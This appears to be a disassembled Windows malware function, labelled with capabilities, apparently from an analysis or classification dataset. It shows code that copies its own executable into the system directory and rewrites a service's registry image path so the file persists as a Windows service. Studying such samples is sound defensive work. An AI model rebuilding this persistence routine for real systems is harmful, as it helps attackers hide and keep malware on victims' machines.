Function at 0x1000df22
Capabilities:
Copy file
Get common file path
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, 0x100152f0
call fcn.10015030
push ecx
mov eax, 0x1a50
call fcn.10014f70
push ebx
push esi
push edi
mov esi, 0x1008e5f0
mov dword [ebp - 0x10], esp
push esi
mov dword [ebp - 0x14], connect
call fcn.10003592
pop ecx
mov edx, 0xff
xor ebx, ebx
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x85f]
mov byte [ebp - 0x860], bl
mov byte [ebp - 0xe60], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xe5f]
mov byte [ebp - 0x1a60], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x1a5f]
push 0x7f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop edx
xor eax, eax
mov ecx, edx
lea edi, [ebp - 0x25f]
mov byte [ebp - 0x260], bl
mov byte [ebp - 0x1060], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x105f]
mov byte [ebp - 0xa60], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xa5f]
mov byte [ebp - 0x460], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x45f]
mov dword [ebp - 4], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], 0x10095508
cmp eax, ebx
je 0x1000e005
cmp byte [eax], bl
je 0x1000e005
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x18]
call fcn.1000c8ea
cmp dword [ebp - 0x2c], 2
pop ecx
pop ecx
jbe 0x1000e028
push 1
push 2
push dword [ebp - 0x18]
call fcn.1000c73a
add esp, 0xc
push dword [ebp - 0x18]
call fcn.1000c62d
mov dword [ebp - 0x28], eax
mov dword [esp], 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x14]
mov edi, 0x10095214
push eax
push 1
push ebx
push edi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x1000e07d
push eax
push edi
push 0x100951e8
call fcn.10003592
add esp, 0xc
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], esi
push 0x10016908
push eax
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x1c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
lea eax, [ebp - 0x860]
push eax
lea eax, [ebp - 0x20]
push eax
push ebx
push 0x100951e0
mov dword [ebp - 0x1c], 0x400
push dword [ebp - 0x14]
call esi
push dword [ebp - 0x14]
mov dword [ebp + 8], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebp + 8], ebx
je 0x1000e0d3
lea eax, [ebp - 0x5c]
push 0x10016908
push eax
mov dword [ebp - 0x5c], 0x100951bc
call sub.MSVCRT.dll__CxxThrowException
lea edi, [ebp - 0x860]
cmp byte [edi], bl
je 0x1000e100
push dword [ebp - 0x18]
push edi
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
je 0x1000e0fc
push ebx
push edi
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
inc eax
pop ecx
mov edi, eax
jmp 0x1000e0d9
cmp byte [edi], bl
jne 0x1000e145
push 0x100954bc
call fcn.10003592
pop ecx
lea esi, [ebp - 0x860]
cmp byte [esi], bl
je 0x1000e130
push esi
push 0x10095168
call fcn.10003592
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 0x10
inc eax
mov esi, eax
jmp 0x1000e111
lea eax, [ebp - 0x58]
push 0x10016908
push eax
mov dword [ebp - 0x58], 0x1008e5f0
call sub.MSVCRT.dll__CxxThrowException
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x125f]
mov byte [ebp - 0x1260], bl
push 0x200
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1260]
push 0x1009412c
push eax
mov dword [ebp - 0x14], connect
call dword [sym.imp.MSVCRT.dll_strncpy]
push dword [ebp - 0x18]
lea eax, [ebp - 0x1260]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1260]
push 0x100954b0
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x1c
lea eax, [ebp - 0x14]
push eax
push 0xf003f
lea eax, [ebp - 0x1260]
push ebx
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x1000e1e3
push eax
push dword [ebp - 0x18]
push 0x10095064
call fcn.10003592
add esp, 0xc
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x1008e5f0
push 0x10016908
push eax
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x860]
push eax
lea eax, [ebp - 0x20]
push eax
push ebx
push 0x100954a0
push dword [ebp - 0x14]
call esi
cmp eax, ebx
mov dword [ebp + 8], eax
jne 0x1000e231
push dword [ebp - 0x18]
push 0x1009546c
call fcn.10003592
pop ecx
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x50]
push 0x10016908
push eax
mov dword [ebp - 0x50], 0x1008e5f0
call sub.MSVCRT.dll__CxxThrowException
push 0x400
lea eax, [ebp - 0x860]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
mov edi, 0x100940ec
push eax
lea eax, [ebp - 0x860]
push eax
lea eax, [ebp - 0x20]
push eax
push ebx
push edi
push dword [ebp - 0x14]
call esi
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x1000e297
push eax
push dword [ebp - 0x18]
push 0x10095440
call fcn.10003592
add esp, 0xc
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x48]
push 0x10016908
push eax
mov dword [ebp - 0x48], 0x1008e5f0
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x860]
push 0x10094cf4
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
je 0x1000e2dc
push dword [ebp - 0x18]
push 0x1009546c
call fcn.10003592
pop ecx
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x38]
push 0x10016908
push eax
mov dword [ebp - 0x38], 0x1008e5f0
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x860]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
cmp eax, ebx
pop ecx
je 0x1000e317
mov byte [eax], bl
inc eax
push eax
lea eax, [ebp - 0x1060]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x1060]
push eax
lea eax, [ebp - 0xa60]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x10
lea eax, [ebp - 0xa60]
mov esi, 0x10094468
push eax
push esi
call fcn.1000d26b
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0xa60]
push 1
push eax
push esi
call fcn.1000d2f9
add esp, 0x14
test eax, eax
jne 0x1000e5c1
lea eax, [ebp - 0x860]
push eax
lea eax, [ebp - 0x1a60]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x1060]
push 0x2e
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 0x10
cmp eax, ebx
je 0x1000e398
mov byte [eax], bl
lea eax, [ebp - 0x1060]
push eax
lea eax, [ebp - 0x460]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x460]
push 0x10094cf4
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
mov esi, 0x10094a48
lea eax, [ebp - 0x1a60]
push esi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x1a60]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0xe60]
push 0x400
push eax
push dword [section.xdoors_d]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000e3f1
lea eax, [ebp - 0x30]
push 0x10016908
push eax
mov dword [ebp - 0x30], 0x10094d30
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x260]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x260]
push esi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x260]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x260]
push ebx
push eax
lea eax, [ebp - 0xe60]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0xe60]
push eax
je 0x1000e59d
push 0x10094e80
call fcn.10003592
lea eax, [ebp - 0x1a60]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x10
inc eax
push eax
lea eax, [ebp - 0x1a60]
push eax
push 2
push ebx
push edi
push dword [ebp - 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call edi
push eax
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebp + 8], ebx
je 0x1000e4a6
lea eax, [ebp - 0x44]
push 0x10016908
push eax
mov dword [ebp - 0x44], 0x10095008
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x1c]
mov esi, 0x10095434
push eax
lea eax, [ebp - 0x860]
push eax
lea eax, [ebp - 0x20]
push eax
push ebx
push esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000e52e
lea eax, [ebp - 0x860]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
lea eax, [ebp - 0x860]
push eax
push 1
push ebx
push 0x100954a0
push dword [ebp - 0x14]
call edi
push esi
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push esi
push 1
push ebx
push esi
push dword [ebp - 0x14]
call edi
push eax
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebp + 8], ebx
je 0x1000e523
lea eax, [ebp - 0x4c]
push 0x10016908
push eax
mov dword [ebp - 0x4c], 0x10095418
call sub.MSVCRT.dll__CxxThrowException
push 0x100953f4
call fcn.10003592
pop ecx
lea eax, [ebp - 0x1a60]
push eax
push 0x100953d0
call fcn.10003592
push dword [ebp - 0x18]
push 0x100953ac
call fcn.10003592
push dword [ebp - 0x24]
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0xa60]
push eax
push 0x10095364
call fcn.10003592
lea eax, [ebp - 0x460]
push eax
push dword [ebp - 0x24]
call fcn.1000d10d
add esp, 0x28
test eax, eax
je 0x1000e82b
push dword [ebp - 0x24]
lea eax, [ebp - 0x460]
push eax
push 0x1009533c
call fcn.10003592
add esp, 0xc
jmp 0x1000e82b
push 0x10094e64
call fcn.10003592
add esp, 0xc
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x18]
call fcn.1000c564
pop ecx
jmp 0x1000e881
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x165f]
mov byte [ebp - 0x1660], bl
push 0x7f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x145f]
mov byte [ebp - 0x1460], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xe60]
push 0x400
push eax
push dword [section.xdoors_d]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000e61e
lea eax, [ebp - 0x54]
push 0x10016908
push eax
mov dword [ebp - 0x54], 0x10094d30
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x260]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0xa60]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x1660]
push 0x1009532c
push eax
call esi
lea eax, [ebp - 0x260]
push 0x10094a48
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xa60]
push eax
lea eax, [ebp - 0x260]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x1460]
push 0x10095324
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x2c
lea eax, [ebp - 0x1460]
push ebx
push eax
lea eax, [ebp - 0x260]
push eax
call esi
test eax, eax
lea eax, [ebp - 0x1460]
push eax
lea eax, [ebp - 0x260]
push eax
je 0x1000e6cb
push 0x10094e80
call fcn.10003592
add esp, 0xc
mov edi, 0x10094e64
jmp 0x1000e6d9
mov edi, 0x10094e64
push edi
call fcn.10003592
add esp, 0xc
lea eax, [ebp - 0x260]
push ebx
push eax
lea eax, [ebp - 0xe60]
push eax
call esi
test eax, eax
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0xe60]
push eax
je 0x1000e852
push 0x10094e80
call fcn.10003592
add esp, 0xc
lea eax, [ebp - 0x1660]
push ebx
push eax
lea eax, [ebp - 0xe60]
push eax
call esi
test eax, eax
lea eax, [ebp - 0x1660]
push eax
lea eax, [ebp - 0xe60]
push eax
je 0x1000e737
push 0x10094e80
jmp 0x1000e738
push edi
call fcn.10003592
add esp, 0xc
lea eax, [ebp - 0x1c]
mov esi, 0x10095434
push eax
lea eax, [ebp - 0x860]
push eax
lea eax, [ebp - 0x20]
push eax
push ebx
push esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000e80e
lea eax, [ebp - 0x860]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
lea eax, [ebp - 0x860]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push 1
push ebx
push 0x100954a0
push dword [ebp - 0x14]
call edi
push esi
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push esi
push 1
push ebx
push esi
push dword [ebp - 0x14]
call edi
push eax
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebp + 8], ebx
je 0x1000e803
lea eax, [ebp - 0x34]
push 0x10016908
push eax
mov dword [ebp - 0x34], 0x10095418
call sub.MSVCRT.dll__CxxThrowException
mov esi, dword [ebp - 0x60]
xor ebx, ebx
cmp esi, ebx
je 0x1000e7fd
cmp byte [esi], bl
je 0x1000e7fd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push 0x10094ffc
mov dword [ebp + 8], eax
call fcn.10003592
add esp, 0xc
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x1000e84d
ret
mov eax, 0x1000e834
ret
push 0x100953f4
call fcn.10003592
pop ecx
cmp dword [ebp - 0x28], 1
jne 0x1000e81b
push 0x100952dc
jmp 0x1000e825
cmp dword [ebp - 0x28], ebx
jne 0x1000e82b
push 0x10095298
call fcn.10003592
pop ecx
push dword [ebp - 0x18]
call fcn.1000c564
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x10094fdc
call fcn.1000c469
pop ecx
call fcn.1000c3ba
mov eax, dword [ebp + 8]
jmp 0x1000e883
push edi
call fcn.10003592
push dword [ebp - 0x18]
push 0x10095268
call fcn.10003592
add esp, 0x14
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push dword [ebp - 0x2c]
push dword [ebp - 0x18]
call fcn.1000c73a
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret